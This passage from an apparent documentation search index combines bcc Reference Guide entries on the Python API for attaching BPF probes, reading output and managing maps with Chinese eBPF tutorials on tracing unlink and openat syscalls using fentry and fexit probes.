SPDX-License-Identifier: GPL-2.0+ OR BSD-2-Clause\n#define BPF_LICENSE Dual BSD/GPL Check the BPF helpers reference to see which helpers are GPL-only and what the kernel understands as GPL-compatible. If the macro is not specified, BCC will automatically define the license of the program as GPL.","breadcrumbs":"bcc Reference Guide » Licensing","id":"258","title":"Licensing"},"259":{"body":"One of jobs for rewriter is to turn implicit memory accesses to explicit ones using kernel helpers. Recent kernel introduced a config option ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE which will be set for architectures who user address space and kernel address are disjoint. x86 and arm has this config option set while s390 does not. If ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE is not set, the bpf old helper bpf_probe_read() will not be available. Some existing users may have implicit memory accesses to access user memory, so using bpf_probe_read_kernel() will cause their application to fail. Therefore, for non-s390, the rewriter will use bpf_probe_read() for these implicit memory accesses. For s390, bpf_probe_read_kernel() is used as default and users should use bpf_probe_read_user() explicitly when accessing user memories.","breadcrumbs":"bcc Reference Guide » Rewriter","id":"259","title":"Rewriter"},"26":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第三篇，在 eBPF 中使用 fentry 捕获 unlink 系统调用。","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » eBPF 入门开发实践教程三：在 eBPF 中使用 fentry 监测捕获 unlink 系统调用","id":"26","title":"eBPF 入门开发实践教程三：在 eBPF 中使用 fentry 监测捕获 unlink 系统调用"},"260":{"body":"","breadcrumbs":"bcc Reference Guide » bcc Python","id":"260","title":"bcc Python"},"261":{"body":"Constructors.","breadcrumbs":"bcc Reference Guide » Initialization","id":"261","title":"Initialization"},"262":{"body":"Syntax: BPF({text=BPF_program | src_file=filename} [, usdt_contexts=[USDT_object, ...]] [, cflags=[arg1, ...]] [, debug=int]) Creates a BPF object. This is the main object for defining a BPF program, and interacting with its output. Exactly one of text or src_file must be supplied (not both). The cflags specifies additional arguments to be passed to the compiler, for example -DMACRO_NAME=value or -I/include/path. The arguments are passed as an array, with each element being an additional argument. Note that strings are not split on whitespace, so each argument must be a different element of the array, e.g. [\"-include\", \"header.h\"]. The debug flags control debug output, and can be or'ed together: DEBUG_LLVM_IR = 0x1 compiled LLVM IR DEBUG_BPF = 0x2 loaded BPF bytecode and register state on branches DEBUG_PREPROCESSOR = 0x4 pre-processor result DEBUG_SOURCE = 0x8 ASM instructions embedded with source DEBUG_BPF_REGISTER_STATE = 0x10 register state on all instructions in addition to DEBUG_BPF DEBUG_BTF = 0x20 print the messages from the libbpf library. Examples: # define entire BPF program in one line:\nBPF(text='int do_trace(void *ctx) { bpf_trace_printk(\"hit!\\\\n\"); return 0; }'); # define program as a variable:\nprog = \"\"\"\nint hello(void *ctx) { bpf_trace_printk(\"Hello, World!\\\\n\"); return 0;\n}\n\"\"\"\nb = BPF(text=prog) # source a file:\nb = BPF(src_file = \"vfsreadlat.c\") # include a USDT object:\nu = USDT(pid=int(pid))\n[...]\nb = BPF(text=bpf_text, usdt_contexts=[u]) # add include paths:\nu = BPF(text=prog, cflags=[\"-I/path/to/include\"]) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. BPF","id":"262","title":"1. BPF"},"263":{"body":"Syntax: USDT({pid=pid | path=path}) Creates an object to instrument User Statically-Defined Tracing (USDT) probes. Its primary method is enable_probe(). Arguments: pid: attach to this process ID. path: instrument USDT probes from this binary path. Examples: # include a USDT object:\nu = USDT(pid=int(pid))\n[...]\nb = BPF(text=bpf_text, usdt_contexts=[u]) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. USDT","id":"263","title":"2. USDT"},"264":{"body":"","breadcrumbs":"bcc Reference Guide » Events","id":"264","title":"Events"},"265":{"body":"Syntax: BPF.attach_kprobe(event=\"event\", fn_name=\"name\") Instruments the kernel function event() using kernel dynamic tracing of the function entry, and attaches our C defined function name() to be called when the kernel function is called. For example: b.attach_kprobe(event=\"sys_clone\", fn_name=\"do_trace\") This will instrument the kernel sys_clone() function, which will then run our BPF defined do_trace() function each time it is called. You can call attach_kprobe() more than once, and attach your BPF function to multiple kernel functions. You can also call attach_kprobe() more than once to attach multiple BPF functions to the same kernel function. See the previous kprobes section for how to instrument arguments from BPF. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. attach_kprobe()","id":"265","title":"1. attach_kprobe()"},"266":{"body":"Syntax: BPF.attach_kretprobe(event=\"event\", fn_name=\"name\" [, maxactive=int]) Instruments the return of the kernel function event() using kernel dynamic tracing of the function return, and attaches our C defined function name() to be called when the kernel function returns. For example: b.attach_kretprobe(event=\"vfs_read\", fn_name=\"do_return\") This will instrument the kernel vfs_read() function, which will then run our BPF defined do_return() function each time it is called. You can call attach_kretprobe() more than once, and attach your BPF function to multiple kernel function returns. You can also call attach_kretprobe() more than once to attach multiple BPF functions to the same kernel function return. When a kretprobe is installed on a kernel function, there is a limit on how many parallel calls it can catch. You can change that limit with maxactive. See the kprobes documentation for its default value. See the previous kretprobes section for how to instrument the return value from BPF. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. attach_kretprobe()","id":"266","title":"2. attach_kretprobe()"},"267":{"body":"Syntax: BPF.attach_tracepoint(tp=\"tracepoint\", fn_name=\"name\") Instruments the kernel tracepoint described by tracepoint, and when hit, runs the BPF function name(). This is an explicit way to instrument tracepoints. The TRACEPOINT_PROBE syntax, covered in the earlier tracepoints section, is an alternate method with the advantage of auto-declaring an args struct containing the tracepoint arguments. With attach_tracepoint(), the tracepoint arguments need to be declared in the BPF program. For example: # define BPF program\nbpf_text = \"\"\"\n#include <uapi/linux/ptrace.h> struct urandom_read_args { // from /sys/kernel/debug/tracing/events/random/urandom_read/format u64 __unused__; u32 got_bits; u32 pool_left; u32 input_left;\n}; int printarg(struct urandom_read_args *args) { bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n};\n\"\"\" # load BPF program\nb = BPF(text=bpf_text)\nb.attach_tracepoint(\"random:urandom_read\", \"printarg\") Notice how the first argument to printarg() is now our defined struct. Examples in situ: code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. attach_tracepoint()","id":"267","title":"3. attach_tracepoint()"},"268":{"body":"Syntax: BPF.attach_uprobe(name=\"location\", sym=\"symbol\", fn_name=\"name\" [, sym_off=int]), BPF.attach_uprobe(name=\"location\", sym_re=\"regex\", fn_name=\"name\"), BPF.attach_uprobe(name=\"location\", addr=int, fn_name=\"name\") Instruments the user-level function symbol() from either the library or binary named by location using user-level dynamic tracing of the function entry, and attach our C defined function name() to be called whenever the user-level function is called. If sym_off is given, the function is attached to the offset within the symbol. The real address addr may be supplied in place of sym, in which case sym must be set to its default value. If the file is a non-PIE executable, addr must be a virtual address, otherwise it must be an offset relative to the file load address. Instead of a symbol name, a regular expression can be provided in sym_re. The uprobe will then attach to symbols that match the provided regular expression. Libraries can be given in the name argument without the lib prefix, or with the full path (/usr/lib/...). Binaries can be given only with the full path (/bin/sh). For example: b.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") This will instrument strlen() function from libc, and call our BPF function count() when it is called. Note how the \"lib\" in \"libc\" is not necessary to specify. Other examples: b.attach_uprobe(name=\"c\", sym=\"getaddrinfo\", fn_name=\"do_entry\")\nb.attach_uprobe(name=\"/usr/bin/python\", sym=\"main\", fn_name=\"do_main\") You can call attach_uprobe() more than once, and attach your BPF function to multiple user-level functions. See the previous uprobes section for how to instrument arguments from BPF. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. attach_uprobe()","id":"268","title":"4. attach_uprobe()"},"269":{"body":"Syntax: BPF.attach_uretprobe(name=\"location\", sym=\"symbol\", fn_name=\"name\") Instruments the return of the user-level function symbol() from either the library or binary named by location using user-level dynamic tracing of the function return, and attach our C defined function name() to be called whenever the user-level function returns. For example: b.attach_uretprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") This will instrument strlen() function from libc, and call our BPF function count() when it returns. Other examples: b.attach_uretprobe(name=\"c\", sym=\"getaddrinfo\", fn_name=\"do_return\")\nb.attach_uretprobe(name=\"/usr/bin/python\", sym=\"main\", fn_name=\"do_main\") You can call attach_uretprobe() more than once, and attach your BPF function to multiple user-level functions. See the previous uretprobes section for how to instrument the return value from BPF. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. attach_uretprobe()","id":"269","title":"5. attach_uretprobe()"},"27":{"body":"fentry（function entry）和fexit（function exit）是eBPF（扩展的伯克利包过滤器）中的两种探针类型，用于在Linux内核函数的入口和退出处进行跟踪。它们允许开发者在内核函数执行的特定阶段收集信息、修改参数或观察返回值。这种跟踪和监控功能在性能分析、故障排查和安全分析等场景中非常有用。 与 kprobes 相比，fentry 和 fexit 程序有更高的性能和可用性。在这个例子中，我们可以直接访问函数的指针参数，就像在普通的 C 代码中一样，而不需要使用各种读取帮助程序。fexit 和 kretprobe 程序最大的区别在于，fexit 程序可以访问函数的输入参数和返回值，而 kretprobe 只能访问返回值。从 5.5 内核开始，fentry 和 fexit 对 eBPF 程序可用。 #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"fentry/do_unlinkat\")\nint BPF_PROG(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"fentry: pid = %d, filename = %s\\n\", pid, name->name); return 0;\n} SEC(\"fexit/do_unlinkat\")\nint BPF_PROG(do_unlinkat_exit, int dfd, struct filename *name, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"fexit: pid = %d, filename = %s, ret = %ld\\n\", pid, name->name, ret); return 0;\n} 这段程序是用C语言编写的eBPF（扩展的伯克利包过滤器）程序，它使用BPF的fentry和fexit探针来跟踪Linux内核函数do_unlinkat。在这个教程中，我们将以这段程序作为示例，让您学会如何在eBPF中使用fentry监测捕获unlink系统调用。 程序包含以下部分： 包含头文件：包括vmlinux.h（用于访问内核数据结构）、bpf/bpf_helpers.h（包含eBPF帮助函数）、bpf/bpf_tracing.h（用于eBPF跟踪相关功能）。 定义许可证：这里定义了一个名为LICENSE的字符数组，包含许可证信息\"Dual BSD/GPL\"。 定义fentry探针：我们定义了一个名为BPF_PROG(do_unlinkat)的fentry探针，该探针在do_unlinkat函数的入口处被触发。这个探针获取当前进程的PID（进程ID）并将其与文件名一起打印到内核日志。 定义fexit探针：我们还定义了一个名为BPF_PROG(do_unlinkat_exit)的fexit探针，该探针在do_unlinkat函数的退出处被触发。与fentry探针类似，这个探针也会获取当前进程的PID并将其与文件名和返回值一起打印到内核日志。 通过这个示例，您可以学习如何在eBPF中使用fentry和fexit探针来监控和捕获内核函数调用，例如在本教程中的unlink系统调用。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc fentry-link.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 在另外一个窗口中： touch test_file\nrm test_file\ntouch test_file2\nrm test_file2 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file, ret = 0 rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file2 rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file2, ret = 0","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » Fentry","id":"27","title":"Fentry"},"270":{"body":"Syntax: USDT.enable_probe(probe=probe, fn_name=name) Attaches a BPF C function name to the USDT probe probe. Example: # enable USDT probe from given PID\nu = USDT(pid=int(pid))\nu.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\") To check if your binary has USDT probes, and what they are, you can run readelf -n binary and check the stap debug section. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 6. USDT.enable_probe()","id":"270","title":"6. USDT.enable_probe()"},"271":{"body":"Syntax: BPF.attach_raw_tracepoint(tp=\"tracepoint\", fn_name=\"name\") Instruments the kernel raw tracepoint described by tracepoint (event only, no category), and when hit, runs the BPF function name(). This is an explicit way to instrument tracepoints. The RAW_TRACEPOINT_PROBE syntax, covered in the earlier raw tracepoints section, is an alternate method. For example: b.attach_raw_tracepoint(\"sched_switch\", \"do_trace\") Examples in situ: search /tools","breadcrumbs":"bcc Reference Guide » 7. attach_raw_tracepoint()","id":"271","title":"7. attach_raw_tracepoint()"},"272":{"body":"Syntax: BPF.attach_raw_socket(fn, dev) Attaches a BPF function to the specified network interface. The fn must be the type of BPF.function and the bpf_prog type needs to be BPF_PROG_TYPE_SOCKET_FILTER (fn=BPF.load_func(func_name, BPF.SOCKET_FILTER)) fn.sock is a non-blocking raw socket that was created and bound to dev. All network packets processed by dev are copied to the recv-q of fn.sock after being processed by bpf_prog. Try to recv packet form fn.sock with rev/recvfrom/recvmsg. Note that if the recv-q is not read in time after the recv-q is full, the copied packets will be discarded. We can use this feature to capture network packets just like tcpdump. We can use ss --bpf --packet -p to observe fn.sock. Example: BPF.attach_raw_socket(bpf_func, ifname) Examples in situ: search /examples","breadcrumbs":"bcc Reference Guide » 8. attach_raw_socket()","id":"272","title":"8. attach_raw_socket()"},"273":{"body":"Syntax: BPF.attach_xdp(dev=\"device\", fn=b.load_func(\"fn_name\",BPF.XDP), flags) Instruments the network driver described by dev , and then receives the packet, run the BPF function fn_name() with flags. Here is a list of optional flags. # from xdp_flags uapi/linux/if_link.h\nXDP_FLAGS_UPDATE_IF_NOEXIST = (1 << 0)\nXDP_FLAGS_SKB_MODE = (1 << 1)\nXDP_FLAGS_DRV_MODE = (1 << 2)\nXDP_FLAGS_HW_MODE = (1 << 3)\nXDP_FLAGS_REPLACE = (1 << 4) You can use flags like this BPF.attach_xdp(dev=\"device\", fn=b.load_func(\"fn_name\",BPF.XDP), flags=BPF.XDP_FLAGS_UPDATE_IF_NOEXIST) The default value of flags is 0. This means if there is no xdp program with device, the fn will run with that device. If there is an xdp program running with device, the old program will be replaced with new fn program. Currently, bcc does not support XDP_FLAGS_REPLACE flag. The following are the descriptions of other flags. 1. XDP_FLAGS_UPDATE_IF_NOEXIST If an XDP program is already attached to the specified driver, attaching the XDP program again will fail. 2. XDP_FLAGS_SKB_MODE Driver doesn’t have support for XDP, but the kernel fakes it. XDP program works, but there’s no real performance benefit because packets are handed to kernel stack anyways which then emulates XDP – this is usually supported with generic network drivers used in home computers, laptops, and virtualized HW. 3. XDP_FLAGS_DRV_MODE A driver has XDP support and can hand then to XDP without kernel stack interaction – Few drivers can support it and those are usually for enterprise HW. 4. XDP_FLAGS_HW_MODE XDP can be loaded and executed directly on the NIC – just a handful of NICs can do that. For example: b.attach_xdp(dev=\"ens1\", fn=b.load_func(\"do_xdp\", BPF.XDP)) This will instrument the network device ens1 , which will then run our BPF defined do_xdp() function each time it receives packets. Don't forget to call b.remove_xdp(\"ens1\") at the end! Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 9. attach_xdp()","id":"273","title":"9. attach_xdp()"},"274":{"body":"Syntax: BPF.attach_func(fn, attachable_fd, attach_type [, flags]) Attaches a BPF function of the specified type to a particular attachable_fd. if the attach_type is BPF_FLOW_DISSECTOR, the function is expected to attach to current net namespace and attachable_fd must be 0. For example: b.attach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS)\nb.attach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) Note. When attached to \"global\" hooks (xdp, tc, lwt, cgroup). If the \"BPF function\" is no longer needed after the program terminates, be sure to call detach_func when the program exits. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 10. attach_func()","id":"274","title":"10. attach_func()"},"275":{"body":"Syntax: BPF.detach_func(fn, attachable_fd, attach_type) Detaches a BPF function of the specified type. For example: b.detach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS)\nb.detach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 11. detach_func()","id":"275","title":"11. detach_func()"},"276":{"body":"Syntax: BPF.detach_kprobe(event=\"event\", fn_name=\"name\") Detach a kprobe handler function of the specified event. For example: b.detach_kprobe(event=\"__page_cache_alloc\", fn_name=\"trace_func_entry\")","breadcrumbs":"bcc Reference Guide » 12. detach_kprobe()","id":"276","title":"12. detach_kprobe()"},"277":{"body":"Syntax: BPF.detach_kretprobe(event=\"event\", fn_name=\"name\") Detach a kretprobe handler function of the specified event. For example: b.detach_kretprobe(event=\"__page_cache_alloc\", fn_name=\"trace_func_return\")","breadcrumbs":"bcc Reference Guide » 13. detach_kretprobe()","id":"277","title":"13. detach_kretprobe()"},"278":{"body":"","breadcrumbs":"bcc Reference Guide » Debug Output","id":"278","title":"Debug Output"},"279":{"body":"Syntax: BPF.trace_print(fmt=\"fields\") This method continually reads the globally shared /sys/kernel/debug/tracing/trace_pipe file and prints its contents. This file can be written to via BPF and the bpf_trace_printk() function, however, that method has limitations, including a lack of concurrent tracing support. The BPF_PERF_OUTPUT mechanism, covered earlier, is preferred. Arguments: fmt: optional, and can contain a field formatting string. It defaults to None. Examples: # print trace_pipe output as-is:\nb.trace_print() # print PID and message:\nb.trace_print(fmt=\"{1} {5}\") Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. trace_print()","id":"279","title":"1. trace_print()"},"28":{"body":"这段程序是一个 eBPF 程序，通过使用 fentry 和 fexit 捕获 do_unlinkat 和 do_unlinkat_exit 函数，并通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 do_unlinkat 的进程 ID、文件名和返回值，并在内核日志中打印出来。 编译这个程序可以使用 ecc 工具，运行时可以使用 ecli 命令，并通过查看 /sys/kernel/debug/tracing/trace_pipe 文件查看 eBPF 程序的输出。更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » 总结","id":"28","title":"总结"},"280":{"body":"Syntax: BPF.trace_fields(nonblocking=False) This method reads one line from the globally shared /sys/kernel/debug/tracing/trace_pipe file and returns it as fields. This file can be written to via BPF and the bpf_trace_printk() function, however, that method has limitations, including a lack of concurrent tracing support. The BPF_PERF_OUTPUT mechanism, covered earlier, is preferred. Arguments: nonblocking: optional, defaults to False. When set to True, the program will not block waiting for input. Examples: while 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue [...] Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. trace_fields()","id":"280","title":"2. trace_fields()"},"281":{"body":"Normal output from a BPF program is either: per-event: using PERF_EVENT_OUTPUT, open_perf_buffer(), and perf_buffer_poll(). map summary: using items(), or print_log2_hist(), covered in the Maps section.","breadcrumbs":"bcc Reference Guide » Output APIs","id":"281","title":"Output APIs"},"282":{"body":"Syntax: BPF.perf_buffer_poll(timeout=T) This polls from all open perf ring buffers, calling the callback function that was provided when calling open_perf_buffer for each entry. The timeout parameter is optional and measured in milliseconds. In its absence, polling continues indefinitely. Example: # loop with callback to print_event\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: try: b.perf_buffer_poll() except KeyboardInterrupt: exit(); Examples in situ: code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. perf_buffer_poll()","id":"282","title":"1. perf_buffer_poll()"},"283":{"body":"Syntax: BPF.ring_buffer_poll(timeout=T) This polls from all open ringbuf ring buffers, calling the callback function that was provided when calling open_ring_buffer for each entry. The timeout parameter is optional and measured in milliseconds. In its absence, polling continues until there is no more data or the callback returns a negative value. Example: # loop with callback to print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_poll(30) except KeyboardInterrupt: exit(); Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 2. ring_buffer_poll()","id":"283","title":"2. ring_buffer_poll()"},"284":{"body":"Syntax: BPF.ring_buffer_consume() This consumes from all open ringbuf ring buffers, calling the callback function that was provided when calling open_ring_buffer for each entry. Unlike ring_buffer_poll, this method does not poll for data before attempting to consume. This reduces latency at the expense of higher CPU consumption. If you are unsure which to use, use ring_buffer_poll. Example: # loop with callback to print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_consume() except KeyboardInterrupt: exit(); Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 3. ring_buffer_consume()","id":"284","title":"3. ring_buffer_consume()"},"285":{"body":"Maps are BPF data stores, and are used in bcc to implement a table, and then higher level objects on top of tables, including hashes and histograms.","breadcrumbs":"bcc Reference Guide » Map APIs","id":"285","title":"Map APIs"},"286":{"body":"Syntax: BPF.get_table(name) Returns a table object. This is no longer used, as tables can now be read as items from BPF. Eg: BPF[name]. Examples: counts = b.get_table(\"counts\") counts = b[\"counts\"] These are equivalent.","breadcrumbs":"bcc Reference Guide » 1. get_table()","id":"286","title":"1. get_table()"},"287":{"body":"Syntax: table.open_perf_buffers(callback, page_cnt=N, lost_cb=None) This operates on a table as defined in BPF as BPF_PERF_OUTPUT(), and associates the callback Python function callback to be called when data is available in the perf ring buffer. This is part of the recommended mechanism for transferring per-event data from kernel to user space. The size of the perf ring buffer can be specified via the page_cnt parameter, which must be a power of two number of pages and defaults to 8. If the callback is not processing data fast enough, some submitted data may be lost. lost_cb will be called to log / monitor the lost count. If lost_cb is the default None value, it will just print a line of message to stderr. Example: # process event\ndef print_event(cpu, data, size): event = ct.cast(data, ct.POINTER(Data)).contents [...] # loop with callback to print_event\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: try: b.perf_buffer_poll() except KeyboardInterrupt: exit() Note that the data structure transferred will need to be declared in C in the BPF program. For example: // define output data structure in C\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events);\n[...] In Python, you can either let bcc generate the data structure from C declaration automatically (recommended): def print_event(cpu, data, size): event = b[\"events\"].event(data)\n[...] or define it manually: # define output data structure in Python\nTASK_COMM_LEN = 16 # linux/sched.h\nclass Data(ct.Structure): _fields_ = [(\"pid\", ct.c_ulonglong), (\"ts\", ct.c_ulonglong), (\"comm\", ct.c_char * TASK_COMM_LEN)] def print_event(cpu, data, size): event = ct.cast(data, ct.POINTER(Data)).contents\n[...] Examples in situ: code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. open_perf_buffer()","id":"287","title":"2. open_perf_buffer()"},"288":{"body":"Syntax: table.items() Returns an array of the keys in a table. This can be used with BPF_HASH maps to fetch, and iterate, over the keys. Example: # print output\nprint(\"%10s %s\" % (\"COUNT\", \"STRING\"))\ncounts = b.get_table(\"counts\")\nfor k, v in sorted(counts.items(), key=lambda counts: counts[1].value): print(\"%10d \\\"%s\\\"\" % (v.value, k.c.encode('string-escape'))) This example also uses the sorted() method to sort by value. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. items()","id":"288","title":"3. items()"},"289":{"body":"Syntax: table.values() Returns an array of the values in a table.","breadcrumbs":"bcc Reference Guide » 4. values()","id":"289","title":"4. values()"},"29":{"body":"eBPF（Extended Berkeley Packet Filter）是一种内核执行环境，它可以让用户在内核中运行一些安全的、高效的程序。它通常用于网络过滤、性能分析、安全监控等场景。eBPF 之所以强大，是因为它能够在内核运行时捕获和修改数据包或者系统调用，从而实现对操作系统行为的监控和调整。 本文是 eBPF 入门开发实践教程的第四篇，主要介绍如何捕获进程打开文件的系统调用集合，并使用全局变量在 eBPF 中过滤进程 pid。 在 Linux 系统中，进程与文件之间的交互是通过系统调用来实现的。系统调用是用户态程序与内核态程序之间的接口，它们允许用户态程序请求内核执行特定操作。在本教程中，我们关注的是 sys_openat 系统调用，它是用于打开文件的。 当进程打开一个文件时，它会向内核发出 sys_openat 系统调用，并传递相关参数（例如文件路径、打开模式等）。内核会处理这个请求，并返回一个文件描述符（file descriptor），这个描述符将在后续的文件操作中用作引用。通过捕获 sys_openat 系统调用，我们可以了解进程在什么时候以及如何打开文件。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » eBPF 入门开发实践教程四：在 eBPF 中捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid","id":"29","title":"eBPF 入门开发实践教程四：在 eBPF 中捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid"},"290":{"body":"Syntax: table.clear() Clears the table: deletes all entries. Example: # print map summary every second:\nwhile True: time.sleep(1) print(\"%-8s\\n\" % time.strftime(\"%H:%M:%S\"), end=\"\") dist.print_log2_hist(sym + \" return:\") dist.clear() Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. clear()","id":"290","title":"5. clear()"},"291":{"body":"Syntax: table.items_lookup_and_delete_batch() Returns an array of the keys in a table with a single call to BPF syscall. This can be used with BPF_HASH maps to fetch, and iterate, over the keys. It also clears the table: deletes all entries. You should rather use table.items_lookup_and_delete_batch() than table.items() followed by table.clear(). It requires kernel v5.6. Example: # print call rate per second:\nprint(\"%9s-%9s-%8s-%9s\" % (\"PID\", \"COMM\", \"fname\", \"counter\"))\nwhile True: for k, v in sorted(b['map'].items_lookup_and_delete_batch(), key=lambda kv: (kv[0]).pid): print(\"%9s-%9s-%8s-%9d\" % (k.pid, k.comm, k.fname, v.counter)) sleep(1)","breadcrumbs":"bcc Reference Guide » 6. items_lookup_and_delete_batch()","id":"291","title":"6. items_lookup_and_delete_batch()"},"292":{"body":"Syntax: table.items_lookup_batch() Returns an array of the keys in a table with a single call to BPF syscall. This can be used with BPF_HASH maps to fetch, and iterate, over the keys. You should rather use table.items_lookup_batch() than table.items(). It requires kernel v5.6. Example: # print current value of map:\nprint(\"%9s-%9s-%8s-%9s\" % (\"PID\", \"COMM\", \"fname\", \"counter\"))\nwhile True: for k, v in sorted(b['map'].items_lookup_batch(), key=lambda kv: (kv[0]).pid): print(\"%9s-%9s-%8s-%9d\" % (k.pid, k.comm, k.fname, v.counter))","breadcrumbs":"bcc Reference Guide » 7. items_lookup_batch()","id":"292","title":"7. items_lookup_batch()"},"293":{"body":"Syntax: table.items_delete_batch(keys) It clears all entries of a BPF_HASH map when keys is None. It is more efficient than table.clear() since it generates only one system call. You can delete a subset of a map by giving an array of keys as parameter. Those keys and their associated values will be deleted. It requires kernel v5.6. Arguments: keys is optional and by default is None.","breadcrumbs":"bcc Reference Guide » 8. items_delete_batch()","id":"293","title":"8. items_delete_batch()"},"294":{"body":"Syntax: table.items_update_batch(keys, values) Update all the provided keys with new values. The two arguments must be the same length and within the map limits (between 1 and the maximum entries). It requires kernel v5.6. Arguments: keys is the list of keys to be updated values is the list containing the new values.","breadcrumbs":"bcc Reference Guide » 9. items_update_batch()","id":"294","title":"9. items_update_batch()"},"295":{"body":"Syntax: table.print_log2_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None) Prints a table as a log2 histogram in ASCII. The table must be stored as log2, which can be done using the BPF function bpf_log2l(). Arguments: val_type: optional, column header. section_header: if the histogram has a secondary key, multiple tables will print and section_header can be used as a header description for each. section_print_fn: if section_print_fn is not None, it will be passed the bucket value. Example: b = BPF(text=\"\"\"\nBPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(bpf_log2l(req->__data_len / 1024)); return 0;\n}\n\"\"\")\n[...] b[\"dist\"].print_log2_hist(\"kbytes\") Output: kbytes : count distribution 0 -> 1 : 3 | | 2 -> 3 : 0 | | 4 -> 7 : 211 |********** | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 800 |**************************************| This output shows a multi-modal distribution, with the largest mode of 128->255 kbytes and a count of 800. This is an efficient way to summarize data, as the summarization is performed in-kernel, and only the count column is passed to user space. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 10. print_log2_hist()","id":"295","title":"10. print_log2_hist()"},"296":{"body":"Syntax: table.print_linear_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None) Prints a table as a linear histogram in ASCII. This is intended to visualize small integer ranges, eg, 0 to 100. Arguments: val_type: optional, column header. section_header: if the histogram has a secondary key, multiple tables will print and section_header can be used as a header description for each. section_print_fn: if section_print_fn is not None, it will be passed the bucket value. Example: b = BPF(text=\"\"\"\nBPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(req->__data_len / 1024); return 0;\n}\n\"\"\")\n[...] b[\"dist\"].print_linear_hist(\"kbytes\") Output: kbytes : count distribution 0 : 3 |****** | 1 : 0 | | 2 : 0 | | 3 : 0 | | 4 : 19 |****************************************| 5 : 0 | | 6 : 0 | | 7 : 0 | | 8 : 4 |******** | 9 : 0 | | 10 : 0 | | 11 : 0 | | 12 : 0 | | 13 : 0 | | 14 : 